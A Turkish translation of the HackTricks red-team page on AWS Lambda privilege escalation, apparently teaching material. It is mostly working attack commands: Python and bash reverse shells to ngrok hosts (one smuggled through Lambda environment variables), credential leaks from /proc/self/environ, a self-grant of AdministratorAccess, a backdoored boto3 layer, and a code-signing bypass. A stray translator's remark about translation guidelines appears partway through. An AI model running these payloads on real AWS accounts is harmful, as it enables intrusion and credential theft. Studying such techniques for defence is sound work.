AWS - Lambda Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

lambda

lambda hakkında daha fazla bilgi:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Kullanıcılar, iam:PassRole, lambda:CreateFunction ve lambda:InvokeFunction izinlerine sahip olduklarında ayrıcalıklarını yükseltebilirler.
Yeni bir Lambda function oluşturup mevcut bir IAM role atayabilirler; bu, fonksiyona o role bağlı izinleri verir. Kullanıcı daha sonra bu Lambda function’a kod yazıp yükleyebilir (ör. bir rev shell ile).
Fonksiyon hazırlandıktan sonra, kullanıcı AWS API’si üzerinden Lambda function’ı çağırarak çalıştırılmasını ve amaçlanan eylemlerin gerçekleştirilmesini sağlayabilir. Bu yaklaşım, kullanıcının Lambda function aracılığıyla dolaylı olarak görevleri, ona atanan IAM role tarafından verilen erişim düzeyiyle gerçekleştirmesine olanak tanır.\

Bir saldırgan bunu kötüye kullanarak rev shell elde edebilir ve token’ı çalabilir:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Ayrıca lambda fonksiyonunun kendisinden abuse the lambda role permissions’i kötüye kullanabilirsiniz.
Eğer lambda role yeterli izinlere sahipse, bunu kullanarak kendinize admin hakları verebilirsiniz:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Harici bir bağlantıya ihtiyaç duymadan lambda’nın rol kimlik bilgilerini leak etmek de mümkündür. Bu, dahili görevlerde kullanılan Network isolated Lambdas için faydalı olur. Eğer reverse shells’inizi filtreleyen bilinmeyen security groups varsa, bu kod parçası lambda’nın çıktısı olarak kimlik bilgilerini doğrudan leak etmenizi sağlar.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potansiyel Etki: Belirtilen keyfi lambda servis rolüne doğrudan privesc.

Caution

Unutmayın ki ilginç görünse bile lambda:InvokeAsync tek başına aws lambda invoke-async çalıştırmaya izin vermez, ayrıca lambda:InvokeFunction gerekir

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Önceki senaryoda olduğu gibi, eğer lambda:AddPermission iznine sahipseniz kendinize lambda:InvokeFunction iznini verebilirsiniz.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potential Impact: Belirtilen rastgele Lambda servis rolüne doğrudan privesc.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Kullanıcılar iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping izinlerine (ve potansiyel olarak dynamodb:PutItem ve dynamodb:CreateTable) sahip olduklarında lambda:InvokeFunction izni olmadan bile dolaylı olarak escalate privileges gerçekleştirebilirler.
Kötü amaçlı kod içeren bir Lambda function oluşturup mevcut bir IAM rolüne atayabilirler.

Lambda’yi doğrudan invoke etmek yerine kullanıcı mevcut bir DynamoDB tablosu oluşturur veya var olanı kullanır ve bunu event source mapping aracılığıyla Lambda’ya bağlar. Bu yapı, tabloya yeni bir öğe eklendiğinde Lambda function’ın otomatik olarak tetiklenmesini sağlar; bu öğe kullanıcının eylemiyle veya başka bir süreç tarafından eklenebilir. Böylece Lambda function dolaylı olarak invoke edilir ve kod atanan IAM rolünün izinleriyle çalıştırılır.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece Lambda fonksiyonu için event source mapping’i kurmalıdır. Ancak DynamoDB kullanılmıyorsa, kullanıcı yeni bir tablo oluşturmalıdır ve streaming etkinleştirilmiş olmalıdır:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Artık Lambda fonksiyonunu DynamoDB tablosuna bağlamak için event source mapping oluşturarak mümkün:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda fonksiyonu DynamoDB stream’e bağlı olduğunda, attacker dolaylı olarak Lambda’yı DynamoDB stream’i aktive ederek tetikleyebilir. Bu, DynamoDB table’a bir öğe ekleyerek gerçekleştirilebilir:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Olası Etki: Belirtilen lambda service role’a doğrudan privesc.

lambda:AddPermission

Bu izne sahip bir saldırgan kendine (veya başkalarına) herhangi bir izin verebilir (bu, kaynağa erişim sağlamak için kaynak tabanlı politikalar oluşturur):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potansiyel Etki: Kodu değiştirme ve çalıştırma izni vererek kullanılan lambda service role üzerinde doğrudan privesc.

lambda:AddLayerVersionPermission

Bu izne sahip bir saldırgan kendine (veya başkalarına) lambda:GetLayerVersion iznini verebilir. Layer’a erişip zafiyetleri veya hassas bilgileri arayabilir.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potential Impact: Hassas bilgilere potansiyel erişim.

lambda:UpdateFunctionCode

Kullanıcılar lambda:UpdateFunctionCode iznine sahip olduklarında, IAM role’a bağlı mevcut bir Lambda fonksiyonunun kodunu değiştirme potansiyeline sahiptir.
Saldırgan, Lambda kodunu IAM kimlik bilgilerini exfiltrate edecek şekilde değiştirebilir.

Fonksiyonu doğrudan invoke etme yetkisi saldırganda olmayabilir; ancak Lambda fonksiyonu önceden var olan ve çalışır durumdaysa, muhtemelen mevcut iş akışları veya olaylar aracılığıyla tetiklenecek ve bu da değiştirilmiş kodun dolaylı olarak çalıştırılmasını kolaylaştıracaktır.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potansiyel Etki: Kullanılan lambda servis rolüne doğrudan privesc.

lambda:UpdateFunctionConfiguration

RCE ortam değişkenleri aracılığıyla

Bu izinlerle, Lambda’nın rastgele kod çalıştırmasına yol açacak ortam değişkenleri eklemek mümkün. Örneğin python’da PYTHONWARNING ve BROWSER ortam değişkenleri kötüye kullanılarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Diğer betik dilleri için kullanabileceğiniz farklı env variables vardır. Daha fazla bilgi için betik dillerinin alt bölümlerine bakın:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers lamdba function’ınıza code eklemenize izin verir, ancak bunu ayrı olarak storing it separately tutar; böylece function code küçük kalabilir ve several functions can share code.

Lambda içinde, python code’un hangi path’lerden yüklendiğini aşağıdaki gibi bir fonksiyonla kontrol edebilirsiniz:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).

İstismar

It’s possible to abuse the permission lambda:UpdateFunctionConfiguration to add a new layer to a lambda function. To execute arbitrary code this layer need to contain some library that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is already using a layer and you could download the layer and add your code in there.

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

pip3 install -t ./lambda_layer boto3

./lambda_layer/boto3/__init__.py dosyasını açabilir ve global koda backdoor ekleyebilirsiniz (örneğin credentials’i exfiltrate etmek veya reverse shell almak için bir fonksiyon).

Sonra, ./lambda_layer dizinini zipleyip kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yeni lambda layer’ı yükleyin.\
Dikkat: /opt/python/boto3’ü override etmek için bir python folder oluşturup kütüphaneleri oraya koymanız gerekiyor. Ayrıca, layer lambda tarafından kullanılan python version ile uyumlu olmalı ve eğer kendi hesabınıza yüklerseniz, aynı region:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Şimdi, yüklenen lambda layer’ı herhangi bir hesap tarafından erişilebilir hale getirin:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Ve lambda layer’ı victim lambda function’a ekleyin:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Bir sonraki adım, eğer mümkünse fonksiyonu kendimiz invoke etmek ya da normal yollarla tetiklenene kadar beklemek olacaktır — bu daha güvenli yöntemdir.

A daha gizli bir yöntemle bu zafiyetten faydalanma şu adreste bulunabilir:

AWS - Lambda Layers Persistence

Olası Etki: Kullanılan lambda servis rolüne doğrudan privesc.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Bu izinlerle bir function oluşturup URL’i çağırarak çalıştırabiliyor olabilirsiniz… ancak bunu test etmenin bir yolunu bulamadım; eğer siz bulursanız haber verin!

Lambda MitM

Bazı lambdalar, kullanıcıların parametrelerde gönderdiği hassas bilgileri alıyor olacaklar. Eğer bunlardan birinde RCE elde ederseniz, diğer kullanıcıların ona gönderdiği bilgileri exfiltrate edebilirsiniz, detaylara bak:

AWS - Lambda Steal Requests

Referanslar

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

Eğer bir Lambda function code signing zorunlu kılıyorsa, Code Signing Config (CSC)’yi kaldırabilen veya Warn’a düşürebilen bir saldırgan, unsigned code’u function’a deploy edebilir. Bu, function’ın IAM rolünü veya trigger’ları değiştirmeden bütünlük korumalarını bypass eder.

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notlar:

  • Path B için, CSC politikası WARN (imzalanmamış artefaktlara izin verilir) olarak ayarlıysa AWS Signer profiliniz olması gerekmez.

Adımlar (REGION=us-east-1, TARGET_FN=):

Küçük bir payload hazırla:

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Yol A) CSC’yi kaldırın ve ardından kodu güncelleyin:

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Yol B) Warn’a düşür ve kodu güncelle (delete izin verilmiyorsa):

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Doğrulandı — yönergeler doğrultusunda çeviri yapacağım: kod, teknik terimler, platform isimleri, linkler, yollar ve etiketleri çevirmeyeceğim; markdown/html koruyacağım ve fazladan içerik eklemeyeceğim.

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Potansiyel etki: İmzalı dağıtımları (signed deployments) zorunlu kılması gereken bir function içinde keyfi unsigned code yükleyip çalıştırabilme yeteneği; bu da potansiyel olarak function role’s permissions ile code execution’a yol açabilir.

Temizlik:

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin